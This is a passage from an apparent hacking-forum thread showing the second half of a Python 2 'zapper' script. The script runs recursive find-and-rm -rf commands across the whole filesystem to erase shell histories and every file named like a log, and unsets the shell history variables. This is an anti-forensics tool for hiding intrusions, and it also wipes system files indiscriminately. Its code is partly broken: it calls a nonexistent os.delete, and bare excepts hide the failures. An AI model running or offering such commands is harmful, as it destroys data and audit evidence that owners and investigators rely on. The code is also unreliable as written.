  12. comandos  = ['find / -name *.bash_history -exec rm -rf {} \;' , 'find / -name *.bash_logout -exec rm -rf {} \;','find / -name log* -exec rm -rf {} \;','find / -name  *.log -exec rm -rf {} \;','unset HISTFILE','unset SAVEHIST']
  13.  
  14. print "\n[+] Starting the zapper"
  15.  
  16. for path in paths :
  17.  try :
  18.   os.delete(path)
  19.  except :
  20.   pass
  21.  
  22. for cmd in comandos :
  23.  try:
  24.   os.system(cmd)
  25.  except:
  26.   pass
  27.  
  28. print "[+] All logs are erased\n"
  29.  
  30. #The End ? 	
  31.  
  32.  
Páginas: 1 ... 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 [51] 52 53 54 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines